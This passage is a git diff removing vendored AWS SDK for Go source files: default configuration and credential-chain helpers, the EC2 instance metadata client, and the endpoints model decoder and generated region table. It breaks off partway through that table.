index 23bb639e01..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/defaults/defaults.go +++ /dev/null @@ -1,207 +0,0 @@ -// Package defaults is a collection of helpers to retrieve the SDK's default -// configuration and handlers. -// -// Generally this package shouldn't be used directly, but session.Session -// instead. This package is useful when you need to reset the defaults -// of a session or service client to the SDK defaults before setting -// additional parameters. -package defaults - -import ( - "fmt" - "net" - "net/http" - "net/url" - "os" - "time" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/corehandlers" - "github.com/aws/aws-sdk-go/aws/credentials" - "github.com/aws/aws-sdk-go/aws/credentials/ec2rolecreds" - "github.com/aws/aws-sdk-go/aws/credentials/endpointcreds" - "github.com/aws/aws-sdk-go/aws/ec2metadata" - "github.com/aws/aws-sdk-go/aws/endpoints" - "github.com/aws/aws-sdk-go/aws/request" - "github.com/aws/aws-sdk-go/internal/shareddefaults" -) - -// A Defaults provides a collection of default values for SDK clients. -type Defaults struct { - Config *aws.Config - Handlers request.Handlers -} - -// Get returns the SDK's default values with Config and handlers pre-configured. -func Get() Defaults { - cfg := Config() - handlers := Handlers() - cfg.Credentials = CredChain(cfg, handlers) - - return Defaults{ - Config: cfg, - Handlers: handlers, - } -} - -// Config returns the default configuration without credentials. -// To retrieve a config with credentials also included use -// `defaults.Get().Config` instead. -// -// Generally you shouldn't need to use this method directly, but -// is available if you need to reset the configuration of an -// existing service client or session. -func Config() *aws.Config { - return aws.NewConfig(). - WithCredentials(credentials.AnonymousCredentials). - WithRegion(os.Getenv("AWS_REGION")). - WithHTTPClient(http.DefaultClient). - WithMaxRetries(aws.UseServiceDefaultRetries). - WithLogger(aws.NewDefaultLogger()). - WithLogLevel(aws.LogOff). - WithEndpointResolver(endpoints.DefaultResolver()) -} - -// Handlers returns the default request handlers. -// -// Generally you shouldn't need to use this method directly, but -// is available if you need to reset the request handlers of an -// existing service client or session. -func Handlers() request.Handlers { - var handlers request.Handlers - - handlers.Validate.PushBackNamed(corehandlers.ValidateEndpointHandler) - handlers.Validate.AfterEachFn = request.HandlerListStopOnError - handlers.Build.PushBackNamed(corehandlers.SDKVersionUserAgentHandler) - handlers.Build.PushBackNamed(corehandlers.AddHostExecEnvUserAgentHander) - handlers.Build.AfterEachFn = request.HandlerListStopOnError - handlers.Sign.PushBackNamed(corehandlers.BuildContentLengthHandler) - handlers.Send.PushBackNamed(corehandlers.ValidateReqSigHandler) - handlers.Send.PushBackNamed(corehandlers.SendHandler) - handlers.AfterRetry.PushBackNamed(corehandlers.AfterRetryHandler) - handlers.ValidateResponse.PushBackNamed(corehandlers.ValidateResponseHandler) - - return handlers -} - -// CredChain returns the default credential chain. -// -// Generally you shouldn't need to use this method directly, but -// is available if you need to reset the credentials of an -// existing service client or session's Config. -func CredChain(cfg *aws.Config, handlers request.Handlers) *credentials.Credentials { - return credentials.NewCredentials(&credentials.ChainProvider{ - VerboseErrors: aws.BoolValue(cfg.CredentialsChainVerboseErrors), - Providers: CredProviders(cfg, handlers), - }) -} - -// CredProviders returns the slice of providers used in -// the default credential chain. -// -// For applications that need to use some other provider (for example use -// different environment variables for legacy reasons) but still fall back -// on the default chain of providers. This allows that default chaint to be -// automatically updated -func CredProviders(cfg *aws.Config, handlers request.Handlers) []credentials.Provider { - return []credentials.Provider{ - &credentials.EnvProvider{}, - &credentials.SharedCredentialsProvider{Filename: "", Profile: ""}, - RemoteCredProvider(*cfg, handlers), - } -} - -const ( - httpProviderAuthorizationEnvVar = "AWS_CONTAINER_AUTHORIZATION_TOKEN" - httpProviderEnvVar = "AWS_CONTAINER_CREDENTIALS_FULL_URI" -) - -// RemoteCredProvider returns a credentials provider for the default remote -// endpoints such as EC2 or ECS Roles. -func RemoteCredProvider(cfg aws.Config, handlers request.Handlers) credentials.Provider { - if u := os.Getenv(httpProviderEnvVar); len(u) > 0 { - return localHTTPCredProvider(cfg, handlers, u) - } - - if uri := os.Getenv(shareddefaults.ECSCredsProviderEnvVar); len(uri) > 0 { - u := fmt.Sprintf("%s%s", shareddefaults.ECSContainerCredentialsURI, uri) - return httpCredProvider(cfg, handlers, u) - } - - return ec2RoleProvider(cfg, handlers) -} - -var lookupHostFn = net.LookupHost - -func isLoopbackHost(host string) (bool, error) { - ip := net.ParseIP(host) - if ip != nil { - return ip.IsLoopback(), nil - } - - // Host is not an ip, perform lookup - addrs, err := lookupHostFn(host) - if err != nil { - return false, err - } - for _, addr := range addrs { - if !net.ParseIP(addr).IsLoopback() { - return false, nil - } - } - - return true, nil -} - -func localHTTPCredProvider(cfg aws.Config, handlers request.Handlers, u string) credentials.Provider { - var errMsg string - - parsed, err := url.Parse(u) - if err != nil { - errMsg = fmt.Sprintf("invalid URL, %v", err) - } else { - host := aws.URLHostname(parsed) - if len(host) == 0 { - errMsg = "unable to parse host from local HTTP cred provider URL" - } else if isLoopback, loopbackErr := isLoopbackHost(host); loopbackErr != nil { - errMsg = fmt.Sprintf("failed to resolve host %q, %v", host, loopbackErr) - } else if !isLoopback { - errMsg = fmt.Sprintf("invalid endpoint host, %q, only loopback hosts are allowed.", host) - } - } - - if len(errMsg) > 0 { - if cfg.Logger != nil { - cfg.Logger.Log("Ignoring, HTTP credential provider", errMsg, err) - } - return credentials.ErrorProvider{ - Err: awserr.New("CredentialsEndpointError", errMsg, err), - ProviderName: endpointcreds.ProviderName, - } - } - - return httpCredProvider(cfg, handlers, u) -} - -func httpCredProvider(cfg aws.Config, handlers request.Handlers, u string) credentials.Provider { - return endpointcreds.NewProviderClient(cfg, handlers, u, - func(p *endpointcreds.Provider) { - p.ExpiryWindow = 5 * time.Minute - p.AuthorizationToken = os.Getenv(httpProviderAuthorizationEnvVar) - }, - ) -} - -func ec2RoleProvider(cfg aws.Config, handlers request.Handlers) credentials.Provider { - resolver := cfg.EndpointResolver - if resolver == nil { - resolver = endpoints.DefaultResolver() - } - - e, _ := resolver.EndpointFor(endpoints.Ec2metadataServiceID, "") - return &ec2rolecreds.EC2RoleProvider{ - Client: ec2metadata.NewClient(cfg, handlers, e.URL, e.SigningRegion), - ExpiryWindow: 5 * time.Minute, - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/defaults/shared_config.go b/vendor/github.com/aws/aws-sdk-go/aws/defaults/shared_config.go deleted file mode 100644 index ca0ee1dcc7..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/defaults/shared_config.go +++ /dev/null @@ -1,27 +0,0 @@ -package defaults - -import ( - "github.com/aws/aws-sdk-go/internal/shareddefaults" -) - -// SharedCredentialsFilename returns the SDK's default file path -// for the shared credentials file. -// -// Builds the shared config file path based on the OS's platform. -// -// - Linux/Unix: $HOME/.aws/credentials -// - Windows: %USERPROFILE%\.aws\credentials -func SharedCredentialsFilename() string { - return shareddefaults.SharedCredentialsFilename() -} - -// SharedConfigFilename returns the SDK's default file path for -// the shared config file. -// -// Builds the shared config file path based on the OS's platform. -// -// - Linux/Unix: $HOME/.aws/config -// - Windows: %USERPROFILE%\.aws\config -func SharedConfigFilename() string { - return shareddefaults.SharedConfigFilename() -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/doc.go b/vendor/github.com/aws/aws-sdk-go/aws/doc.go deleted file mode 100644 index 4fcb616184..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/doc.go +++ /dev/null @@ -1,56 +0,0 @@ -// Package aws provides the core SDK's utilities and shared types. Use this package's -// utilities to simplify setting and reading API operations parameters. -// -// Value and Pointer Conversion Utilities -// -// This package includes a helper conversion utility for each scalar type the SDK's -// API use. These utilities make getting a pointer of the scalar, and dereferencing -// a pointer easier. -// -// Each conversion utility comes in two forms. Value to Pointer and Pointer to Value. -// The Pointer to value will safely dereference the pointer and return its value. -// If the pointer was nil, the scalar's zero value will be returned. -// -// The value to pointer functions will be named after the scalar type. So get a -// *string from a string value use the "String" function. This makes it easy to -// to get pointer of a literal string value, because getting the address of a -// literal requires assigning the value to a variable first. -// -// var strPtr *string -// -// // Without the SDK's conversion functions -// str := "my string" -// strPtr = &str -// -// // With the SDK's conversion functions -// strPtr = aws.String("my string") -// -// // Convert *string to string value -// str = aws.StringValue(strPtr) -// -// In addition to scalars the aws package also includes conversion utilities for -// map and slice for commonly types used in API parameters. The map and slice -// conversion functions use similar naming pattern as the scalar conversion -// functions. -// -// var strPtrs []*string -// var strs []string = []string{"Go", "Gophers", "Go"} -// -// // Convert []string to []*string -// strPtrs = aws.StringSlice(strs) -// -// // Convert []*string to []string -// strs = aws.StringValueSlice(strPtrs) -// -// SDK Default HTTP Client -// -// The SDK will use the http.DefaultClient if a HTTP client is not provided to -// the SDK's Session, or service client constructor. This means that if the -// http.DefaultClient is modified by other components of your application the -// modifications will be picked up by the SDK as well. -// -// In some cases this might be intended, but it is a better practice to create -// a custom HTTP Client to share explicitly through your application. You can -// configure the SDK to use the custom HTTP Client by setting the HTTPClient -// value of the SDK's Config type when creating a Session or service client. -package aws diff --git a/vendor/github.com/aws/aws-sdk-go/aws/ec2metadata/api.go b/vendor/github.com/aws/aws-sdk-go/aws/ec2metadata/api.go deleted file mode 100644 index 88e2fc7073..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/ec2metadata/api.go +++ /dev/null @@ -1,166 +0,0 @@ -package ec2metadata - -import ( - "encoding/json" - "fmt" - "net/http" - "strings" - "time" - - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/request" - "github.com/aws/aws-sdk-go/internal/sdkuri" -) - -// GetMetadata uses the path provided to request information from the EC2 -// instance metdata service. The content will be returned as a string, or -// error if the request failed. -func (c *EC2Metadata) GetMetadata(p string) (string, error) { - op := &request.Operation{ - Name: "GetMetadata", - HTTPMethod: "GET", - HTTPPath: sdkuri.PathJoin("/meta-data", p), - } - - output := &metadataOutput{} - req := c.NewRequest(op, nil, output) - - return output.Content, req.Send() -} - -// GetUserData returns the userdata that was configured for the service. If -// there is no user-data setup for the EC2 instance a "NotFoundError" error -// code will be returned. -func (c *EC2Metadata) GetUserData() (string, error) { - op := &request.Operation{ - Name: "GetUserData", - HTTPMethod: "GET", - HTTPPath: "/user-data", - } - - output := &metadataOutput{} - req := c.NewRequest(op, nil, output) - req.Handlers.UnmarshalError.PushBack(func(r *request.Request) { - if r.HTTPResponse.StatusCode == http.StatusNotFound { - r.Error = awserr.New("NotFoundError", "user-data not found", r.Error) - } - }) - - return output.Content, req.Send() -} - -// GetDynamicData uses the path provided to request information from the EC2 -// instance metadata service for dynamic data. The content will be returned -// as a string, or error if the request failed. -func (c *EC2Metadata) GetDynamicData(p string) (string, error) { - op := &request.Operation{ - Name: "GetDynamicData", - HTTPMethod: "GET", - HTTPPath: sdkuri.PathJoin("/dynamic", p), - } - - output := &metadataOutput{} - req := c.NewRequest(op, nil, output) - - return output.Content, req.Send() -} - -// GetInstanceIdentityDocument retrieves an identity document describing an -// instance. Error is returned if the request fails or is unable to parse -// the response. -func (c *EC2Metadata) GetInstanceIdentityDocument() (EC2InstanceIdentityDocument, error) { - resp, err := c.GetDynamicData("instance-identity/document") - if err != nil { - return EC2InstanceIdentityDocument{}, - awserr.New("EC2MetadataRequestError", - "failed to get EC2 instance identity document", err) - } - - doc := EC2InstanceIdentityDocument{} - if err := json.NewDecoder(strings.NewReader(resp)).Decode(&doc); err != nil { - return EC2InstanceIdentityDocument{}, - awserr.New("SerializationError", - "failed to decode EC2 instance identity document", err) - } - - return doc, nil -} - -// IAMInfo retrieves IAM info from the metadata API -func (c *EC2Metadata) IAMInfo() (EC2IAMInfo, error) { - resp, err := c.GetMetadata("iam/info") - if err != nil { - return EC2IAMInfo{}, - awserr.New("EC2MetadataRequestError", - "failed to get EC2 IAM info", err) - } - - info := EC2IAMInfo{} - if err := json.NewDecoder(strings.NewReader(resp)).Decode(&info); err != nil { - return EC2IAMInfo{}, - awserr.New("SerializationError", - "failed to decode EC2 IAM info", err) - } - - if info.Code != "Success" { - errMsg := fmt.Sprintf("failed to get EC2 IAM Info (%s)", info.Code) - return EC2IAMInfo{}, - awserr.New("EC2MetadataError", errMsg, nil) - } - - return info, nil -} - -// Region returns the region the instance is running in. -func (c *EC2Metadata) Region() (string, error) { - resp, err := c.GetMetadata("placement/availability-zone") - if err != nil { - return "", err - } - - if len(resp) == 0 { - return "", awserr.New("EC2MetadataError", "invalid Region response", nil) - } - - // returns region without the suffix. Eg: us-west-2a becomes us-west-2 - return resp[:len(resp)-1], nil -} - -// Available returns if the application has access to the EC2 Metadata service. -// Can be used to determine if application is running within an EC2 Instance and -// the metadata service is available. -func (c *EC2Metadata) Available() bool { - if _, err := c.GetMetadata("instance-id"); err != nil { - return false - } - - return true -} - -// An EC2IAMInfo provides the shape for unmarshaling -// an IAM info from the metadata API -type EC2IAMInfo struct { - Code string - LastUpdated time.Time - InstanceProfileArn string - InstanceProfileID string -} - -// An EC2InstanceIdentityDocument provides the shape for unmarshaling -// an instance identity document -type EC2InstanceIdentityDocument struct { - DevpayProductCodes []string `json:"devpayProductCodes"` - AvailabilityZone string `json:"availabilityZone"` - PrivateIP string `json:"privateIp"` - Version string `json:"version"` - Region string `json:"region"` - InstanceID string `json:"instanceId"` - BillingProducts []string `json:"billingProducts"` - InstanceType string `json:"instanceType"` - AccountID string `json:"accountId"` - PendingTime time.Time `json:"pendingTime"` - ImageID string `json:"imageId"` - KernelID string `json:"kernelId"` - RamdiskID string `json:"ramdiskId"` - Architecture string `json:"architecture"` -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/ec2metadata/service.go b/vendor/github.com/aws/aws-sdk-go/aws/ec2metadata/service.go deleted file mode 100644 index f4438eae9c..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/ec2metadata/service.go +++ /dev/null @@ -1,152 +0,0 @@ -// Package ec2metadata provides the client for making API calls to the -// EC2 Metadata service. -// -// This package's client can be disabled completely by setting the environment -// variable "AWS_EC2_METADATA_DISABLED=true". This environment variable set to -// true instructs the SDK to disable the EC2 Metadata client. The client cannot -// be used while the environment variable is set to true, (case insensitive). -package ec2metadata - -import ( - "bytes" - "errors" - "io" - "net/http" - "os" - "strings" - "time" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/client" - "github.com/aws/aws-sdk-go/aws/client/metadata" - "github.com/aws/aws-sdk-go/aws/corehandlers" - "github.com/aws/aws-sdk-go/aws/request" -) - -// ServiceName is the name of the service. -const ServiceName = "ec2metadata" -const disableServiceEnvVar = "AWS_EC2_METADATA_DISABLED" - -// A EC2Metadata is an EC2 Metadata service Client. -type EC2Metadata struct { - *client.Client -} - -// New creates a new instance of the EC2Metadata client with a session. -// This client is safe to use across multiple goroutines. -// -// -// Example: -// // Create a EC2Metadata client from just a session. -// svc := ec2metadata.New(mySession) -// -// // Create a EC2Metadata client with additional configuration -// svc := ec2metadata.New(mySession, aws.NewConfig().WithLogLevel(aws.LogDebugHTTPBody)) -func New(p client.ConfigProvider, cfgs ...*aws.Config) *EC2Metadata { - c := p.ClientConfig(ServiceName, cfgs...) - return NewClient(*c.Config, c.Handlers, c.Endpoint, c.SigningRegion) -} - -// NewClient returns a new EC2Metadata client. Should be used to create -// a client when not using a session. Generally using just New with a session -// is preferred. -// -// If an unmodified HTTP client is provided from the stdlib default, or no client -// the EC2RoleProvider's EC2Metadata HTTP client's timeout will be shortened. -// To disable this set Config.EC2MetadataDisableTimeoutOverride to false. Enabled by default. -func NewClient(cfg aws.Config, handlers request.Handlers, endpoint, signingRegion string, opts ...func(*client.Client)) *EC2Metadata { - if !aws.BoolValue(cfg.EC2MetadataDisableTimeoutOverride) && httpClientZero(cfg.HTTPClient) { - // If the http client is unmodified and this feature is not disabled - // set custom timeouts for EC2Metadata requests. - cfg.HTTPClient = &http.Client{ - // use a shorter timeout than default because the metadata - // service is local if it is running, and to fail faster - // if not running on an ec2 instance. - Timeout: 5 * time.Second, - } - } - - svc := &EC2Metadata{ - Client: client.New( - cfg, - metadata.ClientInfo{ - ServiceName: ServiceName, - ServiceID: ServiceName, - Endpoint: endpoint, - APIVersion: "latest", - }, - handlers, - ), - } - - svc.Handlers.Unmarshal.PushBack(unmarshalHandler) - svc.Handlers.UnmarshalError.PushBack(unmarshalError) - svc.Handlers.Validate.Clear() - svc.Handlers.Validate.PushBack(validateEndpointHandler) - - // Disable the EC2 Metadata service if the environment variable is set. - // This shortcirctes the service's functionality to always fail to send - // requests. - if strings.ToLower(os.Getenv(disableServiceEnvVar)) == "true" { - svc.Handlers.Send.SwapNamed(request.NamedHandler{ - Name: corehandlers.SendHandler.Name, - Fn: func(r *request.Request) { - r.HTTPResponse = &http.Response{ - Header: http.Header{}, - } - r.Error = awserr.New( - request.CanceledErrorCode, - "EC2 IMDS access disabled via "+disableServiceEnvVar+" env var", - nil) - }, - }) - } - - // Add additional options to the service config - for _, option := range opts { - option(svc.Client) - } - - return svc -} - -func httpClientZero(c *http.Client) bool { - return c == nil || (c.Transport == nil && c.CheckRedirect == nil && c.Jar == nil && c.Timeout == 0) -} - -type metadataOutput struct { - Content string -} - -func unmarshalHandler(r *request.Request) { - defer r.HTTPResponse.Body.Close() - b := &bytes.Buffer{} - if _, err := io.Copy(b, r.HTTPResponse.Body); err != nil { - r.Error = awserr.New("SerializationError", "unable to unmarshal EC2 metadata respose", err) - return - } - - if data, ok := r.Data.(*metadataOutput); ok { - data.Content = b.String() - } -} - -func unmarshalError(r *request.Request) { - defer r.HTTPResponse.Body.Close() - b := &bytes.Buffer{} - if _, err := io.Copy(b, r.HTTPResponse.Body); err != nil { - r.Error = awserr.New("SerializationError", "unable to unmarshal EC2 metadata error respose", err) - return - } - - // Response body format is not consistent between metadata endpoints. - // Grab the error message as a string and include that as the source error - r.Error = awserr.New("EC2MetadataError", "failed to make EC2Metadata request", errors.New(b.String())) -} - -func validateEndpointHandler(r *request.Request) { - if r.ClientInfo.Endpoint == "" { - r.Error = aws.ErrMissingEndpoint - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/endpoints/decode.go b/vendor/github.com/aws/aws-sdk-go/aws/endpoints/decode.go deleted file mode 100644 index 87b9ff3ffe..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/endpoints/decode.go +++ /dev/null @@ -1,188 +0,0 @@ -package endpoints - -import ( - "encoding/json" - "fmt" - "io" - - "github.com/aws/aws-sdk-go/aws/awserr" -) - -type modelDefinition map[string]json.RawMessage - -// A DecodeModelOptions are the options for how the endpoints model definition -// are decoded. -type DecodeModelOptions struct { - SkipCustomizations bool -} - -// Set combines all of the option functions together. -func (d *DecodeModelOptions) Set(optFns ...func(*DecodeModelOptions)) { - for _, fn := range optFns { - fn(d) - } -} - -// DecodeModel unmarshals a Regions and Endpoint model definition file into -// a endpoint Resolver. If the file format is not supported, or an error occurs -// when unmarshaling the model an error will be returned. -// -// Casting the return value of this func to a EnumPartitions will -// allow you to get a list of the partitions in the order the endpoints -// will be resolved in. -// -// resolver, err := endpoints.DecodeModel(reader) -// -// partitions := resolver.(endpoints.EnumPartitions).Partitions() -// for _, p := range partitions { -// // ... inspect partitions -// } -func DecodeModel(r io.Reader, optFns ...func(*DecodeModelOptions)) (Resolver, error) { - var opts DecodeModelOptions - opts.Set(optFns...) - - // Get the version of the partition file to determine what - // unmarshaling model to use. - modelDef := modelDefinition{} - if err := json.NewDecoder(r).Decode(&modelDef); err != nil { - return nil, newDecodeModelError("failed to decode endpoints model", err) - } - - var version string - if b, ok := modelDef["version"]; ok { - version = string(b) - } else { - return nil, newDecodeModelError("endpoints version not found in model", nil) - } - - if version == "3" { - return decodeV3Endpoints(modelDef, opts) - } - - return nil, newDecodeModelError( - fmt.Sprintf("endpoints version %s, not supported", version), nil) -} - -func decodeV3Endpoints(modelDef modelDefinition, opts DecodeModelOptions) (Resolver, error) { - b, ok := modelDef["partitions"] - if !ok { - return nil, newDecodeModelError("endpoints model missing partitions", nil) - } - - ps := partitions{} - if err := json.Unmarshal(b, &ps); err != nil { - return nil, newDecodeModelError("failed to decode endpoints model", err) - } - - if opts.SkipCustomizations { - return ps, nil - } - - // Customization - for i := 0; i < len(ps); i++ { - p := &ps[i] - custAddEC2Metadata(p) - custAddS3DualStack(p) - custRmIotDataService(p) - custFixAppAutoscalingChina(p) - custFixAppAutoscalingUsGov(p) - } - - return ps, nil -} - -func custAddS3DualStack(p *partition) { - if p.ID != "aws" { - return - } - - custAddDualstack(p, "s3") - custAddDualstack(p, "s3-control") -} - -func custAddDualstack(p *partition, svcName string) { - s, ok := p.Services[svcName] - if !ok { - return - } - - s.Defaults.HasDualStack = boxedTrue - s.Defaults.DualStackHostname = "{service}.dualstack.{region}.{dnsSuffix}" - - p.Services[svcName] = s -} - -func custAddEC2Metadata(p *partition) { - p.Services["ec2metadata"] = service{ - IsRegionalized: boxedFalse, - PartitionEndpoint: "aws-global", - Endpoints: endpoints{ - "aws-global": endpoint{ - Hostname: "169.254.169.254/latest", - Protocols: []string{"http"}, - }, - }, - } -} - -func custRmIotDataService(p *partition) { - delete(p.Services, "data.iot") -} - -func custFixAppAutoscalingChina(p *partition) { - if p.ID != "aws-cn" { - return - } - - const serviceName = "application-autoscaling" - s, ok := p.Services[serviceName] - if !ok { - return - } - - const expectHostname = `autoscaling.{region}.amazonaws.com` - if e, a := s.Defaults.Hostname, expectHostname; e != a { - fmt.Printf("custFixAppAutoscalingChina: ignoring customization, expected %s, got %s\n", e, a) - return - } - - s.Defaults.Hostname = expectHostname + ".cn" - p.Services[serviceName] = s -} - -func custFixAppAutoscalingUsGov(p *partition) { - if p.ID != "aws-us-gov" { - return - } - - const serviceName = "application-autoscaling" - s, ok := p.Services[serviceName] - if !ok { - return - } - - if a := s.Defaults.CredentialScope.Service; a != "" { - fmt.Printf("custFixAppAutoscalingUsGov: ignoring customization, expected empty credential scope service, got %s\n", a) - return - } - - if a := s.Defaults.Hostname; a != "" { - fmt.Printf("custFixAppAutoscalingUsGov: ignoring customization, expected empty hostname, got %s\n", a) - return - } - - s.Defaults.CredentialScope.Service = "application-autoscaling" - s.Defaults.Hostname = "autoscaling.{region}.amazonaws.com" - - p.Services[serviceName] = s -} - -type decodeModelError struct { - awsError -} - -func newDecodeModelError(msg string, err error) decodeModelError { - return decodeModelError{ - awsError: awserr.New("DecodeEndpointsModelError", msg, err), - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/endpoints/defaults.go b/vendor/github.com/aws/aws-sdk-go/aws/endpoints/defaults.go deleted file mode 100644 index c5a54c1966..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/endpoints/defaults.go +++ /dev/null @@ -1,4099 +0,0 @@ -// Code generated by aws/endpoints/v3model_codegen.go. DO NOT EDIT. - -package endpoints - -import ( - "regexp" -) - -// Partition identifiers -const ( - AwsPartitionID = "aws" // AWS Standard partition. - AwsCnPartitionID = "aws-cn" // AWS China partition. - AwsUsGovPartitionID = "aws-us-gov" // AWS GovCloud (US) partition. -) - -// AWS Standard partition's regions. -const ( - ApNortheast1RegionID = "ap-northeast-1" // Asia Pacific (Tokyo). - ApNortheast2RegionID = "ap-northeast-2" // Asia Pacific (Seoul). - ApSouth1RegionID = "ap-south-1" // Asia Pacific (Mumbai). - ApSoutheast1RegionID = "ap-southeast-1" // Asia Pacific (Singapore). - ApSoutheast2RegionID = "ap-southeast-2" // Asia Pacific (Sydney). - CaCentral1RegionID = "ca-central-1" // Canada (Central). - EuCentral1RegionID = "eu-central-1" // EU (Frankfurt). - EuNorth1RegionID = "eu-north-1" // EU (Stockholm). - EuWest1RegionID = "eu-west-1" // EU (Ireland). - EuWest2RegionID = "eu-west-2" // EU (London). - EuWest3RegionID = "eu-west-3" // EU (Paris). - SaEast1RegionID = "sa-east-1" // South America (Sao Paulo). - UsEast1RegionID = "us-east-1" // US East (N. Virginia). - UsEast2RegionID = "us-east-2" // US East (Ohio). - UsWest1RegionID = "us-west-1" // US West (N. California). - UsWest2RegionID = "us-west-2" // US West (Oregon). -) - -// AWS China partition's regions. -const ( - CnNorth1RegionID = "cn-north-1" // China (Beijing). - CnNorthwest1RegionID = "cn-northwest-1" // China (Ningxia). -) - -// AWS GovCloud (US) partition's regions. -const ( - UsGovEast1RegionID = "us-gov-east-1" // AWS GovCloud (US-East). - UsGovWest1RegionID = "us-gov-west-1" // AWS GovCloud (US). -) - -// DefaultResolver returns an Endpoint resolver that will be able -// to resolve endpoints for: AWS Standard, AWS China, and AWS GovCloud (US). -// -// Use DefaultPartitions() to get the list of the default partitions. -func DefaultResolver() Resolver { - return defaultPartitions -} - -// DefaultPartitions returns a list of the partitions the SDK is bundled -// with. The available partitions are: AWS Standard, AWS China, and AWS GovCloud (US). -// -// partitions := endpoints.DefaultPartitions -// for _, p := range partitions { -// // ... inspect partitions -// } -func DefaultPartitions() []Partition { - return defaultPartitions.Partitions() -} - -var defaultPartitions = partitions{ - awsPartition, - awscnPartition, - awsusgovPartition, -} - -// AwsPartition returns the Resolver for AWS Standard. -func AwsPartition() Partition { - return awsPartition.Partition() -} - -var awsPartition = partition{ - ID: "aws", - Name: "AWS Standard", - DNSSuffix: "amazonaws.com", - RegionRegex: regionRegex{ - Regexp: func() *regexp.Regexp { - reg, _ := regexp.Compile("^(us|eu|ap|sa|ca)\\-\\w+\\-\\d+$") - return reg - }(), - }, - Defaults: endpoint{ - Hostname: "{service}.{region}.{dnsSuffix}", - Protocols: []string{"https"}, - SignatureVersions: []string{"v4"}, - }, - Regions: regions{ - "ap-northeast-1": region{ - Description: "Asia Pacific (Tokyo)", - }, - "ap-northeast-2": region{ - Description: "Asia Pacific (Seoul)", - }, - "ap-south-1": region{ - Description: "Asia Pacific (Mumbai)", - }, - "ap-southeast-1": region{ - Description: "Asia Pacific (Singapore)", - }, - "ap-southeast-2": region{ - Description: "Asia Pacific (Sydney)", - }, - "ca-central-1": region{ - Description: "Canada (Central)", - }, - "eu-central-1": region{ - Description: "EU (Frankfurt)", - }, - "eu-north-1": region{ - Description: "EU (Stockholm)", - }, - "eu-west-1": region{ - Description: "EU (Ireland)", - }, - "eu-west-2": region{ - Description: "EU (London)", - }, - "eu-west-3": region{ - Description: "EU (Paris)", - }, - "sa-east-1": region{ - Description: "South America (Sao Paulo)", - }, - "us-east-1": region{ - Description: "US East (N. Virginia)", - }, - "us-east-2": region{ - Description: "US East (Ohio)", - }, - "us-west-1": region{ - Description: "US West (N. California)", - }, - "us-west-2": region{ - Description: "US West (Oregon)", - }, - }, - Services: services{ - "a4b": service{ - - Endpoints: endpoints{ - "us-east-1": endpoint{}, - }, - }, - "acm": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "acm-pca": service{ - Defaults: endpoint{ - Protocols: []string{"https"}, - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "api.ecr": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{ - Hostname: "api.ecr.ap-northeast-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "ap-northeast-1", - }, - }, - "ap-northeast-2": endpoint{ - Hostname: "api.ecr.ap-northeast-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "ap-northeast-2", - }, - }, - "ap-south-1": endpoint{ - Hostname: "api.ecr.ap-south-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "ap-south-1", - }, - }, - "ap-southeast-1": endpoint{ - Hostname: "api.ecr.ap-southeast-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "ap-southeast-1", - }, - }, - "ap-southeast-2": endpoint{ - Hostname: "api.ecr.ap-southeast-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "ap-southeast-2", - }, - }, - "ca-central-1": endpoint{ - Hostname: "api.ecr.ca-central-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "ca-central-1", - }, - }, - "eu-central-1": endpoint{ - Hostname: "api.ecr.eu-central-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "eu-central-1", - }, - }, - "eu-north-1": endpoint{ - Hostname: "api.ecr.eu-north-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "eu-north-1", - }, - }, - "eu-west-1": endpoint{ - Hostname: "api.ecr.eu-west-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "eu-west-1", - }, - }, - "eu-west-2": endpoint{ - Hostname: "api.ecr.eu-west-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "eu-west-2", - }, - }, - "eu-west-3": endpoint{ - Hostname: "api.ecr.eu-west-3.amazonaws.com", - CredentialScope: credentialScope{ - Region: "eu-west-3", - }, - }, - "sa-east-1": endpoint{ - Hostname: "api.ecr.sa-east-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "sa-east-1", - }, - }, - "us-east-1": endpoint{ - Hostname: "api.ecr.us-east-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-1", - }, - }, - "us-east-2": endpoint{ - 